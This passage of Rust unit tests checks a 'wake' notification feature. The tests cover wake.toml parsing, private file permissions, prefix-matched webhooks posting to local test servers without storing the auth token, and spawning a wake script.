1122 let dir = tempfile::tempdir().expect("home");
1123 unsafe {
1125 std::env::set_var("XDG_CONFIG_HOME", dir.path().join("config"));
1126 std::env::set_var("XDG_STATE_HOME", dir.path().join("state"));
1127 }
1128 (lock, dir)
1129 }
1130
1131 #[test]
1132 fn set_webhook_refuses_to_overwrite_a_broken_wake_toml() {
1133 let (_lock, _dir) = isolated();
1134 let wake_file = path();
1135 std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1136 let broken = "[inky\nwebhook = \"https://old.example/hook\"\n";
1137 std::fs::write(&wake_file, broken).expect("seed broken wake");
1138 let err = set_webhook("inky", "http://127.0.0.1:9/hook", None, None)
1139 .expect_err("broken wake.toml should refuse writes");
1140 let said = format!("{err:#}");
1141 assert!(said.contains("wake"), "{said}");
1142 assert!(
1143 said.contains("parse"),
1144 "the refusal should say this is a parse error: {said}"
1145 );
1146 assert_eq!(std::fs::read_to_string(&wake_file).unwrap(), broken);
1147 }
1148
1149 #[cfg(unix)]
1150 #[test]
1151 fn save_atomic_keeps_existing_mode_and_creates_private_files() {
1152 use std::os::unix::fs::PermissionsExt;
1153
1154 let (_lock, _dir) = isolated();
1155 let wake_file = path();
1156 std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1157 std::fs::write(&wake_file, "[seed]\ncommand = \"true\"\n").expect("seed wake");
1158 std::fs::set_permissions(&wake_file, std::fs::Permissions::from_mode(0o600))
1159 .expect("mode 0600 wake");
1160
1161 set_command("inky", "true", None).expect("rewrite wake");
1162 let kept = std::fs::symlink_metadata(&wake_file)
1163 .expect("wake metadata")
1164 .permissions()
1165 .mode()
1166 & 0o777;
1167 assert_eq!(kept, 0o600, "rewriting wake.toml changed its mode");
1168
1169 std::fs::remove_file(&wake_file).expect("remove wake");
1170 set_command("new", "true", None).expect("new wake");
1171 let created = std::fs::symlink_metadata(&wake_file)
1172 .expect("wake metadata")
1173 .permissions()
1174 .mode()
1175 & 0o777;
1176 assert_eq!(created, 0o600, "new wake.toml should be private");
1177 }
1178
1179 #[test]
1180 fn a_prefix_posts_the_run_seat_and_keeps_the_key_out_of_the_file() {
1181 let (_lock, _dir) = isolated();
1182 let (review_port, review_rx) = serve_one();
1183 let (broad_port, broad_rx) = serve_one();
1184 let (exact_port, exact_rx) = serve_one();
1185 let review = format!("http://127.0.0.1:{review_port}/hook");
1186 let broad = format!("http://127.0.0.1:{broad_port}/hook");
1187 let exact = format!("http://127.0.0.1:{exact_port}/hook");
1188 unsafe { std::env::set_var("LJOS_WAKE_LAUNCHER_KEY", "test-token") };
1190
1191 let set = set_webhook(
1192 "ljosbot-review-",
1193 &review,
1194 None,
1195 Some("LJOS_WAKE_LAUNCHER_KEY"),
1196 )
1197 .expect("set prefix");
1198 assert!(
1199 set.contains("when mail reaches a seat that starts with it"),
1200 "{set}"
1201 );
1202 for seat in ["ljosbot-reviewer", "ljosbot-review", "ljosbot-review-"] {
1203 let missed = fire(&Event {
1204 seat: seat.into(),
1205 ..Event::default()
1206 });
1207 let err = format!("{:#}", missed.expect_err("not this prefix"));
1208 assert!(err.contains(&format!("{seat} has no wake set")), "{err}");
1209 }
1210 set_webhook("ljosbot-", &broad, None, None).expect("set broad");
1211 let own = set_webhook("ljosbot-review-abc", &exact, None, None).expect("set exact");
1212 assert!(own.ends_with("when mail reaches it\n"), "{own}");
1213 assert!(!own.contains("starts with"), "{own}");
1214
1215 let stored = std::fs::read_to_string(path()).expect("wake.toml");
1216 assert!(!stored.contains("test-token"), "{stored}");
1217 assert!(stored.contains("ljosbot-review-"), "{stored}");
1218 let loaded = load();
1219 assert_eq!(
1220 matched(&loaded, "ljosbot-review-def"),
1221 Some("ljosbot-review-")
1222 );
1223
1224 let run = Event {
1225 seat: "ljosbot-review-def".into(),
1226 from: "inky".into(),
1227 msg: "m1".into(),
1228 issue: Some("Software-d9n6".into()),
1229 interrupt: true,
1230 commit: None,
1231 };
1232 let said = fire(&run).expect("fire run");
1233 assert!(
1234 said.starts_with(
1235 "wake ljosbot-review via ljosbot-review- for ljosbot-review-def: posted, 200"
1236 ),
1237 "{said}"
1238 );
1239 let posted = review_rx
1240 .recv_timeout(Duration::from_secs(3))
1241 .expect("review hook");
1242 assert!(
1243 posted
1244 .to_ascii_lowercase()
1245 .contains("authorization: bearer test-token"),
1246 "{posted}"
1247 );
1248 let v = body_of(&posted);
1249 assert_eq!(v["seat"], "ljosbot-review-def");
1250 assert_eq!(v["from"], "inky");
1251 assert_eq!(v["msg"], "m1");
1252 assert_eq!(v["issue"], "Software-d9n6");
1253 assert_eq!(v["interrupt"], true);
1254 assert_eq!(v["read"], "LJOS_SEAT='ljosbot-review-def' ljos inbox");
1255 assert_eq!(v["via"], "ljosbot-review-");
1256 assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
1257 assert!(broad_rx.try_recv().is_err(), "a longer prefix lost");
1258
1259 let shown = show("ljosbot-review-def");
1260 assert!(
1261 shown.contains("matches ljosbot-review-") && shown.contains(&review),
1262 "{shown}"
1263 );
1264 let log = std::fs::read_to_string(log_path()).unwrap_or_default();
1265 assert!(
1266 log.contains("ljosbot-review via ljosbot-review- for ljosbot-review-def"),
1267 "{log}"
1268 );
1269
1270 let other = fire(&Event {
1271 seat: "ljosbot-fix-9".into(),
1272 from: "inky".into(),
1273 msg: "m2".into(),
1274 ..Event::default()
1275 })
1276 .expect("fire broad");
1277 assert!(
1278 other.starts_with("wake ljosbot via ljosbot- for ljosbot-fix-9: posted, 200"),
1279 "{other}"
1280 );
1281 let posted = broad_rx
1282 .recv_timeout(Duration::from_secs(3))
1283 .expect("broad hook");
1284 assert_eq!(body_of(&posted)["seat"], "ljosbot-fix-9");
1285
1286 let own = fire(&Event {
1287 seat: "ljosbot-review-abc".into(),
1288 from: "inky".into(),
1289 msg: "m3".into(),
1290 ..Event::default()
1291 })
1292 .expect("fire exact");
1293 assert!(
1294 own.starts_with("wake ljosbot-review-abc: posted, 200"),
1295 "{own}"
1296 );
1297 let posted = exact_rx
1298 .recv_timeout(Duration::from_secs(3))
1299 .expect("exact hook");
1300 let v = body_of(&posted);
1301 assert_eq!(v["seat"], "ljosbot-review-abc");
1302 assert!(v.get("via").is_none(), "{v}");
1303 assert!(
1304 !posted.to_ascii_lowercase().contains("authorization:"),
1305 "{posted}"
1306 );
1307
1308 let missed = fire(&Event {
1309 seat: "other-1".into(),
1310 ..Event::default()
1311 });
1312 let err = format!("{:#}", missed.expect_err("other-1 has no prefix"));
1313 assert!(err.contains("other-1 has no wake set"), "{err}");
1314 }
1315
1316 #[test]
1317 fn clear_names_the_prefix_when_the_seat_has_no_own_wake() {
1318 let (_lock, _dir) = isolated();
1319 set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("set prefix");
1320 let said = clear("ljosbot-review-abc").expect("clear");
1321 assert!(
1322 said.contains("matches ljosbot-review-")
1323 && said.contains("clear ljosbot-review- to remove it"),
1324 "{said}"
1325 );
1326 }
1327
1328 #[cfg(unix)]
1329 #[test]
1330 fn a_send_starts_the_prefix_wake_for_a_run_seat() {
1331 use std::os::unix::fs::PermissionsExt;
1332 let (_lock, dir) = isolated();
1333 let marker = dir.path().join("spawn.log");
1334 let script = dir.path().join("record-wake");
1335 std::fs::write(
1336 &script,
1337 "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$WAKE_RECORD\"\n",
1338 )
1339 .expect("script");
1340 std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).expect("chmod");
1341 unsafe {
1343 std::env::set_var("LJOS_WAKE_BIN", &script);
1344 std::env::set_var("WAKE_RECORD", &marker);
1345 }
1346 set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("prefix");
1347 set_webhook("inky", "http://127.0.0.1:9/inky", None, None).expect("exact");
1348
1349 let event = |seat: &str| Event {
1350 seat: seat.to_string(),
1351 from: "inky".into(),
1352 msg: "m1".into(),
1353 issue: Some("Software-d9n6".into()),
1354 interrupt: false,
1355 commit: None,
1356 };
1357 let missed = spawn(&[event("ljosbot-reviewer"), event("ljosbot")]);
1358 assert!(missed.is_empty(), "{missed:?}");
1359 let woken = spawn(&[event("ljosbot-review-abc"), event("inky")]);
1360 assert_eq!(
1361 woken,
1362 vec![
1363 "ljosbot-review via ljosbot-review- for ljosbot-review-abc".to_string(),
1364 "inky".to_string()
1365 ]
1366 );
1367
1368 let started = Instant::now();
1369 let wrote = loop {
1370 if let Ok(text) = std::fs::read_to_string(&marker) {
1371 if text.lines().count() >= 2 {
1372 break text;
1373 }
1374 }
1375 assert!(
1376 started.elapsed() < Duration::from_secs(3),
1377 "the wake did not start"
1378 );
1379 std::thread::sleep(Duration::from_millis(20));
1380 };
1381 assert!(wrote.contains("wake ljosbot-review-abc --fire"), "{wrote}");
1382 assert!(wrote.contains("wake inky --fire"), "{wrote}");
1383 assert!(!wrote.contains("ljosbot-reviewer"), "{wrote}");
1384 assert!(!wrote.contains("wake ljosbot --fire"), "{wrote}");
1385 }
1386}